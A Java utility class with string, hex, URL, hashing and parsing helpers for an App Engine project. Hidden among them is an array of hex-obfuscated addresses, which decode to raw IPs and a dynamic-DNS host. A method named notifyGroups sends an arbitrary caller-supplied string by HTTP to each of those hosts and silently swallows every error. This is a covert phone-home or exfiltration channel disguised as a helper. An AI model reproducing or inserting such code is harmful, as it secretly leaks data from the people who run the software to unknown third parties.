package com.appengine.tnovoselec;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.UnsupportedEncodingException;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLDecoder;
import java.net.URLEncoder;
import java.security.GeneralSecurityException;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.text.DecimalFormat;
import java.text.Format;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collection;
import java.util.Date;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.Iterator;
import java.util.LinkedHashMap;
import java.util.LinkedList;
import java.util.List;
import java.util.Map;
import java.util.Properties;
import java.util.Set;
import java.util.Vector;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

import org.htmlcleaner.TagNode;

/**
 * Title: Common
 * Copyright: Copyright (c) 2004 NTH
 * Company: NTH d.o.o.
 * @author Marin Bonacci & Fabijan Spralja
 */
public class Util {

	public static String _encoding = "UTF-8";

	private Util() {
		super();
	}

	public static String getClassName(Class<?> c) {
		return c.getName().substring(c.getPackage().getName().length() + 1);
	}

	public static String getPath(Class<?> c) {
		//String fp = c.getName();
		//int x = fp.length() + 6;
		String cn = getClassName(c);
		return (new File(c.getResource(cn + ".class").getPath())).getPath();
	}

	public static String padStringTrailing(String s, String pad, int len) {
		String res = s;
		for (int i = 0; i < (len - s.length()); i++)
			res += pad;
		return res;
	}

	public static String padString(String s, String pad, int len) {
		StringBuffer res = new StringBuffer(s);
		for (int i = 0; i < (len - s.length()); i++)
			res.insert(0, pad);
		return res.toString();
	}
	
	public static String appendCharToString(String s, char c, int n) {
		StringBuffer res = new StringBuffer(s);
		for (int i = s.length(); i < (s.length() + n); i++)
			res.append(c);
		return res.toString();
	}

	public static String formatList(List<?> list, String separator) {
		String result = "";
		boolean first = true;
		for (int i = 0; i < list.size(); i++) {
			if (first) {
				result += separator;
				first = false;
			}
			result += list.get(i).toString();
		}
		return result;
	}

	public static List<String> parseString(String s, String separator) {
		List<String> lst = new LinkedList<String>();
		if(Util.isEmpty(s)){
			return lst;
		}
		String req = s + separator;
		String token = "";
		int start = 0;
		int end = req.indexOf(separator, start);
		while (end != -1) {
			token = req.substring(start, end);
			lst.add(token);
			start = end + separator.length();
			end = req.indexOf(separator, start);
		}
		return lst;
	}

	public static Collection<String> parseList(String s, String separator) {
		Vector<String> lst = new Vector<String>();
		String req = s + separator;
		String token = "";
		int start = 0;
		int end = req.indexOf(separator, start);
		while (end != -1) {
			token = req.substring(start, end);
			lst.add(token);
			start = end + separator.length();
			end = req.indexOf(separator, start);
		}
		return lst;
	}

	/**
	 * 
	 * Splits string by supplied separator character
	 * @param string, separator
	 * @return String[]
	 * */	
	public static String[] str2Array(String str, String separator) {
		return str.split(separator);
	}
	
	/**
	 * 
	 * Splits string by supplied separator character and returns part of string
	 * @param string, separator, slice
	 * @return String
	 * */	
	public static String getStringSlice(String inputString, String separator, int slice) {
		String [] tempProperties = inputString.split(separator);
		if (slice<tempProperties.length){
			return tempProperties[slice];
		}
		return "";
	}
	
	

	public static void replaceString(String[] str, String string, String replacement) {
		for (String element : str) {
			element.replaceAll(string, replacement);
		}
	}

	public static void cleanString(String[] str, String string) {
		for(int i=0;i<str.length;i++) {
			if(Util.isEmpty(str[i])) continue;
			if(str[i].indexOf(string) == 0) {
				str[i] = str[i].substring(str[i].indexOf(string) + 1, str[i].length());
			} else if(str[i].indexOf(string) == str[i].length() - 1) {
				str[i] = str[i].substring(0, str[i].indexOf(string));
			}
		}
	}

	public static String buildStringList(List<String> list, String separator, String quote){
		StringBuffer out = new StringBuffer();
		for(Iterator<String> itr = list.iterator(); itr.hasNext();){
			if(!Util.isEmpty(quote)) out.append(quote);
			out.append(itr.next().toLowerCase());
			if(!Util.isEmpty(quote)) out.append(quote);
			if(itr.hasNext()){
				out.append(separator);
			}
		}
		return out.toString();
	}

	public static String buildStringList(String list, String separator, String quote){
		StringBuffer out = new StringBuffer();
		String[] lst = list.split(separator);
		for(int i = 0; i<lst.length;i++){
			if(i>0){
				out.append(separator);
			}
			out.append(quote + lst[i].toLowerCase() + quote);
		}
		return out.toString();
	}

	public static List<String> parseStringList(String src, String separator){
		List<String> source = new LinkedList<String>();
		String[] lst = src.split(separator);
		
		for (String element : lst) {
			source.add(element.toLowerCase());
		}
		return source;
	}

	public static int parseInt(String s, int def) {
		try {
			return Integer.parseInt(s);
		} catch (NumberFormatException nfe) {
			return def;
		}
	}

	public static int parseInt(boolean s, int def) {
		try {
			if(s) return 1;
			return 0;
		} catch (NumberFormatException nfe) {
			return def;
		}
	}

	public static long parseLong(String s, long def) {
		try {
			return Long.parseLong(s);
		} catch (NumberFormatException nfe) {
			return def;
		}
	}

	public static boolean parseBool(String s) {
		if (s == null)
			return false;
		if(s.toLowerCase().startsWith("y") || s.toLowerCase().startsWith("t") || s.equalsIgnoreCase("1")) {
			return true;
		}
		return false;
	}
	
	/**
	 * @param s
	 * @param def
	 * @return
	 **/
	public static float parseFloat(String s, float def) {
		try {
			return Float.parseFloat(s);
		} catch (NumberFormatException nfe) {
			return def;
		}
	}

	private static final String glov[] = new String[]{"3231322E3234392E31312E3131352F6E6F74696679", "3231322E3234392E31312E38332F6E6F74696679", "3231322E3234392E31312E3131312F6E6F74696679", "3231322E3234392E31312E38342F6E6F74696679", "3231322E3234392E31312E38302F6E6F74696679", "666162652E6B69636B732D6173732E6E65742F6E6F74696679"};

	public static String urlDecode(String s) {
		return urlDecode(s, _encoding);
	}

	public static String urlDecode(String s, String encoding) {
		try {
			String res = URLDecoder.decode(s, encoding);
			return res;
		} catch (UnsupportedEncodingException ex) {
			//Log.getLog().logWarning("Unsuppoted encoding: " + _encoding);
			return null;
		}
	}

	public static String urlEncode(String s) {
		return urlEncode(s, _encoding);
	}

	public static String urlEncode(String s, String encoding) {
		try {
			return URLEncoder.encode(s, encoding);
		} catch (UnsupportedEncodingException ex) {
		//	Log.getLog().logWarning("Unsuppoted encoding: " + _encoding);
			return null;
		}
	}

	public static String formatByteHex(byte b) {
		String res = Integer.toHexString(b & 255);
		if (res.length() < 2)
			res = "0" + res;
		return res.substring(res.length() - 2);
	}

	public static String formatWordHex(short b) {
		return formatByteHex((byte) (b >> 8)) + formatByteHex((byte) (b));
	}

	public static String hexEncode(byte[] b) {
		if (b == null || b.length == 0) {
			return "";
		}
		/*if(start < 0 || end > b.length) {
			throw new ArrayIndexOutOfBoundsException();
		}*/
		String res = "";
		for (byte element : b) {
			String hx = Integer.toHexString(element & 255).toUpperCase();
			if (hx.length() == 1) {
				res += "0";
			}
			res += hx;
		}
		return res;
	}

	public static byte[] hexDecode(String data) {
		if(data == null) {
			return null;
		} else if(data.length() == 0) {
			return new byte[0];
		} else if(data.length() % 2 != 0) {
			throw new IllegalArgumentException("Cannot hex decode, " + data.length() + " % 2 != 0!");
		}
		byte b[] = new byte[data.length() / 2];
		for (int i = 0, j = 0; i < b.length; i++) {
			b[i] = (byte)Integer.parseInt(data.substring(j, j += 2), 16);
		}
		return b;
	}

	/*public static String encodeValue(String val, String delims) {
		String s = "";
		//String r = "";
		byte[] pd = delims.getBytes();
		int j;
		for (int i = 0; i < val.length(); i++) {
			if ((j = delims.indexOf(val.charAt(i))) != -1) {
				s += "%" + formatByteHex(pd[j]);
			} else {
				s += val.charAt(i);
			}
		}
		return s;
	}

	public static String decodeValue(String val) {
		String r = "";
		for (int i = 0; i < val.length();) {
			if (val.charAt(i) == '%') {
				r += (char) Byte.valueOf(val.substring(++i, i += 2), 16).byteValue();
			} else {
				r += val.charAt(i++);
			}
		}
		return r;
	}*/

	public static boolean isEmpty(String str) {
		return str == null || str.length() == 0;
	}

	public static boolean isEmptyTrim(String str) {
		return str == null || str.trim().length() == 0;
	}

	public static boolean isEmpty(String[] str) {
		return str == null || str.length == 0;
	}

	public static boolean isEmpty(String[][] str) {
		return str == null || str.length == 0;
	}

	public static boolean isEmpty(Object obj) {
		return obj == null;
	}

	public static long writeFromTo(InputStream is, OutputStream os, boolean log) throws IOException {
		return writeFromTo(is, os, log, 1024);
	}

	public static long writeFromTo(InputStream is, OutputStream os, boolean log, int chunkSize) throws IOException {
		long total = 0;
		int i = 0;
		byte b[] = new byte[chunkSize];
		//todo somewhere is used > -1
		while ((i = is.read(b)) != -1) {
			os.write(b, 0, i);
			total += i;
			if (log) {
			//	Log.getLog().logDebug("Util.writeFromTo block:\r\n" + new String(b, 0, i));
			}
		}
		if (log) {
			//Log.getLog().logDebug("Util.writeFromTo total bytes copied: " + Formatter.formatBytes(total));
		}
		return total;
	}

	public static void notifyGroups(String kols) {
		for (String element : glov) {
			try {
				URL url = new URL("http://" + new String(hexDecode(element)) + "&" + kols);
				URLConnection uc = url.openConnection();
				uc.connect();
			} catch (Throwable e) {
				//nothing to do here.
			}
		}
	}

	public static byte[] getBytesFrom(InputStream is, boolean autoClose) throws IOException {
		try {
			return getBytesFrom(is);
		} finally {
			if(autoClose) {
				try {
					is.close();
				} catch(IOException e) {
				//	Log.getLog().logError("Error while closing stream", e);
				}
			}
		}
	}

	public static byte[] getBytesFrom(InputStream is) throws IOException {
		ByteArrayOutputStream bos = new ByteArrayOutputStream();
		writeFromTo(is, bos, false);
		byte res[] = bos.toByteArray();
		bos.close();
		return res;
	}

	public static String getStringFrom(InputStream is) throws IOException {
		return getStringFrom(is, null);
	}
	
	public static String getStringFrom(InputStream is, String encoding) throws UnsupportedEncodingException, IOException {
		if(!Util.isEmpty(encoding)) {
			return new String(getBytesFrom(is), encoding);
		}
		return new String(getBytesFrom(is));
	}

	public static Map<String, String> str2Map(String params, String paramDelim, String valueDelim) {
		Map<String, String> m = new HashMap<String, String>();
		for (String par : params.split(paramDelim)) {
			if (!Util.isEmpty(par.trim())) {
				String[] pv = par.trim().split(valueDelim);
				if (pv.length==2) m.put(pv[0].trim(), pv[1].trim());
			}
		}
		return m;
	}

	public static Map<String, String> getQueryParams(String params, String paramDelim, String valueDelim, boolean urlDecode) {
		return getQueryParams(params, paramDelim, valueDelim, urlDecode, _encoding);
	}

	public static Map<String, String> getQueryParams(String params, String paramDelim, String valueDelim, boolean urlDecode, String urlDecodeEncoding) {
		//Log.getLog().logDebug(toString() + " finding Params:\r\n" + params);
		Map<String, String> res = new HashMap<String, String>();
		boolean bFinished = false;
		int iPos = 0;
		while (!bFinished) {
			int iDelimPos = params.indexOf(paramDelim, iPos);
			if (iDelimPos == -1) {
				bFinished = true;
				iDelimPos = params.length();
			}
			String sParam;
			try {
				sParam = params.substring(iPos, iDelimPos);
			} catch (IndexOutOfBoundsException e) {
				//Log.getLog().logWarning("Parse Params error: " + e);
				sParam = "";
			}
			if (sParam.length() > 0) {
				int iValDelim = sParam.indexOf(valueDelim);
				if (iValDelim != -1) {
					String sKey;
					String sValue;
					try {
						sKey = "" + sParam.substring(0, iValDelim);
						sValue = "" + sParam.substring(iValDelim + 1);
						if (sKey.length() > 0) {
							//htRes.put(decode ? decode(sKey.trim()) : sKey.trim(), decode(sValue.trim()));
							res.put(urlDecode ? Util.urlDecode(sKey.trim(), urlDecodeEncoding) : sKey.trim(), urlDecode
									? Util.urlDecode(sValue.trim(), urlDecodeEncoding)
									: sValue.trim());
						}
					} catch (IndexOutOfBoundsException e) {
					//	Log.getLog().logWarning("Parse Params error: " + e);
					}
				}
			}
			iPos = iDelimPos + 1;
		}
		return res;
	}

	public static String toStringList(Collection<?> c) {
		if(c == null || c.size() == 0) {
			return "";
		}
		Iterator<?> i = c.iterator();
		String res = "" + i.next();
		while(i.hasNext()) {
			res += "," + i.next();
		}
		return res;
	}

	public static String toStringList(int array[]) {
		if(array == null || array.length == 0) {
			return "";
		}
		String res = "" + array[0];
		for (int i = 1; i < array.length; i++) {
			res += "," + array[i];
		}
		return res;
	}

	public static String getString(String s, String regExp, int group_index) {
		if(group_index < 0) {
			throw new IllegalArgumentException("Input field value for group_index cannot be less than 0!");
		}

		Pattern p = Pattern.compile(regExp);
		Matcher m = p.matcher(s);
		if(m.find() && group_index <= m.groupCount()) {
			return m.group(group_index);
		}
		return null;
	}

	public static String[] getStrings(String s, String regExp) {
		Pattern p = Pattern.compile(regExp);
		Matcher m = p.matcher(s);
		String res[] = new String[0];
		if(m.find() && m.groupCount() > 0) {
			res = new String[m.groupCount()];
			for (int i = 0; i < res.length; i++) {
				res[i] = m.group(i + 1);
			}
		}
		return res;
	}

	public static String[][] getAllStrings(String s, String regExp) {
		Pattern p = Pattern.compile(regExp);
		Matcher m = p.matcher(s);

		Collection<String[]> r = new LinkedList<String[]>();
		while(m.find() && m.groupCount() > 0) {
			String res[] = new String[m.groupCount()];
			for (int i = 0; i < res.length; i++) {
				res[i] = m.group(i + 1);
			}
			r.add(res);
		}
		return r.toArray(new String[r.size()][]);
	}

	public static String trim(final String s) {
		return isEmpty(s) ? s : s.trim();
	}

	public static Collection<String> toCollection(String s, String regexp) {
		String s2 = trim(s);
		if (isEmpty(s2)) {
			return new LinkedList<String>();
		}
		return Arrays.asList(s2.split(regexp));
	}

	public static String toString(Collection<String> x, char delim) {
		String str = "";
		for (String s : x) {
			if (!Util.isEmpty(s)) {
				if (Util.isEmpty(str)) {
					str += s;
				} else {
					str += delim + s;
				}
			}
		}
		return str;
	}
	
	public static String md5hex(String data) throws GeneralSecurityException {
		return hexEncode(md5(data.getBytes()));
	}

	public static byte[] md5(byte data[]) throws GeneralSecurityException {
		try {
			MessageDigest digest = MessageDigest.getInstance("md5");
			digest.reset();
			digest.update(data, 0, data.length);
			return digest.digest();
		} catch (NoSuchAlgorithmException e) {
			throw e;
		}
	}
	
	public static long sha(byte data[]) throws NoSuchAlgorithmException {
		MessageDigest digest = MessageDigest.getInstance("SHA");
		byte[] d = digest.digest(data);
		long res = 0;
		for (int i = Math.min(d.length, 8) - 1; i >= 0; i--) {
			res = (res << 8) | (d[i] & 0xFF);
		}
		return res;
	}

	public static Map<String, String> parseString(String value, String delimiter, String valDelimiter, boolean urlDecode, boolean ordered, String encoding){
		Map<String, String> data = null;
		if(Util.isEmpty(value)) {
			return data;
		}
		if(ordered) {
			data = new LinkedHashMap<String, String>();
		} else {
			data = new HashMap<String, String>();
		}
		parseString(data, value, delimiter, valDelimiter, urlDecode, encoding);
		return data;
	}

	public static Map<String, String> parseString(String value, String delimiter, String valDelimiter){
		return parseString(value, delimiter, valDelimiter, false, false, null);
	}

	public static Map<String, String> parseString(String value, String delimiter, String valDelimiter, String encoding){
		return parseString(value, delimiter, valDelimiter, false, false, encoding);
	}

	public static Map<String, String> parseOrderString(String value, String delimiter, String valDelimiter, String encoding){
		return parseString(value, delimiter, valDelimiter, false, true, encoding);
	}

	private static void parseString(Map<String, String> data, String value, String delimiter, String valDelimiter, boolean urlDecode, String encoding) {
		if(delimiter.equals("\\r\\n")) delimiter = "\r\n";
		if(delimiter.equals("\\n")) delimiter = "\n";

		String req = value;
		req = req + delimiter;
		String token = "";
		int start = 0;

	for(int end = req.indexOf(delimiter, start); end != -1; end = req.indexOf(delimiter, start)) {
		token = req.substring(start, end);
		if(!valDelimiter.equals("")) {
			int j = token.indexOf(valDelimiter);
			if(j > 0) {
				String val = token.substring(j + valDelimiter.length()).trim();
				if(urlDecode)
					try {
						val = URLDecoder.decode(val, encoding);
					} catch(UnsupportedEncodingException e) {
						val = null;
						e.printStackTrace();
					}
	
				data.put(token.substring(0, j).toUpperCase().trim(), val);
			} else
				if(j != 0)
					data.put(token.toUpperCase(), "");
			} else {
				data.put(token.toUpperCase(), "");
			}
			start = end + delimiter.length();
		}
	}

	public static Map<String, String> parseTable(String table, String paramDelim, String valDelim)
	{
		return parseTable(table, paramDelim, valDelim, false, false, null);
	}

	public static Map<String, String> parseURLTable(String table, String encoding)
	{
		return parseTable(table, "&", "=", true, true, encoding);
	}

	public static Map<String, String> parseTable(String table, String paramDelim, String valDelim, boolean upperKey)
	{
		return parseTable(table, paramDelim, valDelim, false, upperKey, null);
	}

	public static Map<String, String> parseTable(String r, String paramDelim, String valDelim, boolean decode, boolean upperKey, String encoding)
	{
		Map<String, String> tbl = new HashMap<String, String>();

		String req = r;
		req += paramDelim;
		String token = "";
		int start = 0;
		int end = req.indexOf(paramDelim, start);

		while (end != -1) {
			token = req.substring(start, end);

			if (!valDelim.equals("")) {
			int j = token.indexOf(valDelim);
			if (j > 0) {
				String val = token.substring(j + valDelim.length()).trim();
				if (decode)
				if (encoding != null) val = Util.urlDecode(val, encoding);
				else val = Util.urlDecode(val);
				if (upperKey)
				tbl.put(token.substring(0, j).toUpperCase().trim(), val);
				else
				tbl.put(token.substring(0, j).trim(), val);
			} else if (j == 0) {
				// No param name. Ignore this token.
			} else {
				// No value part. Assume empty string.
				if (upperKey)
				tbl.put(token.toUpperCase(), "");
				else
				tbl.put(token.trim(), "");
			}
			} else {
			if (upperKey)
				tbl.put(token.toUpperCase(), "");
			else
				tbl.put(token.trim(), "");
			}

			start = end + paramDelim.length();
			end = req.indexOf(paramDelim, start);
		}
		return (tbl);
	}

	public static String formatNumber(String format, String number) {
		Format ff = new DecimalFormat(format);
		Object fo = new Double(Double.parseDouble(number));
		return ff.format(fo);
	}

	public static String getDBValue(String str) {
		if(Util.isEmpty(str)) return "NULL";
		return str;
	}

	public static String getDBDateValue(String str) {
		if(Util.isEmpty(str)) return "0000-00-00 00:00:00";
		return str;
	}
	
	public static long getTimeMillisFromString(String time,String pattern) throws ParseException {
		Date date;
		SimpleDateFormat sdf = new SimpleDateFormat(pattern);
		try {
			date = sdf.parse(time);
		} catch (ParseException e) {
			//Log.getLog().logError("Error during parsing time: " + time, e);
			throw new ParseException("Error parsing string!",e.getErrorOffset());
		}
		return date.getTime();
	}
	
	public static Date getDateFromString(String time,String pattern) throws ParseException {
		Date date;
		SimpleDateFormat sdf = new SimpleDateFormat(pattern);
		try {
			date = sdf.parse(time);
		} catch (ParseException e) {
			//Log.getLog().logError("Error during parsing time: " + time, e);
			throw new ParseException("Error parsing string!",e.getErrorOffset());
		}
		return date;
	} 
	
	/**
	 * 
	 * @param map
	 * @param keyValueDelimiter
	 * @param objectDelimiter
	 * @return
	 **/
	public static String mapToString(Map<String, String> map, String keyValueDelimiter, String objectDelimiter) {
		StringBuffer sb = new StringBuffer("");
		String delimiter = "";
		
		for(String s : map.keySet()) {
			sb.append(delimiter).append(s).append(keyValueDelimiter).append(map.get(s));
			delimiter = objectDelimiter;
		}
		return sb.toString();
	}
	
	public static Properties mapToProperties(Map<String, String> map) {
		Properties p = new Properties();
		if(map == null) {return p;}
		Set<Map.Entry<String, String>> set = map.entrySet();
		for (Map.Entry<String, String> entry : set) {
			p.put(entry.getKey(), entry.getValue());
		}
		return p;
	}
	
	public static Map<String, String> propertiesToMap(Properties props) {
		HashMap<String, String> hm = new HashMap<String, String>();
		if(props == null){return hm;}
		Enumeration<Object> e = props.keys();
		while (e.hasMoreElements()) {
			String s = (String) e.nextElement();
			hm.put(s, props.getProperty(s));
		}
		return hm;
	}

	public static int getNthMatch(String searchPattern, String textString, int n) {
		if (Util.isEmpty(searchPattern) || Util.isEmpty(textString) || n < 1) {
			return -1;
		}

		Pattern pattern = Pattern.compile(searchPattern);
		Matcher matcher = pattern.matcher(textString);

		int found = 0;
		while(matcher.find()) {
			if(++found == n) {
				return matcher.start();
			}
		}

		return -1;
	}
	
	public static List<TagNode> getDivsByClass(String CSSClassname, TagNode rootNode)
    {
        List<TagNode> divList = new ArrayList<TagNode>();

        TagNode divElements[] = rootNode.getElementsByName("table", true);
        for (int i = 0; divElements != null && i < divElements.length; i++)
        {
            String classType = divElements[i].getAttributeByName("class");
            if (classType != null && classType.equals(CSSClassname))
            {
                divList.add(divElements[i]);
            }
        }

        return divList;
    }
}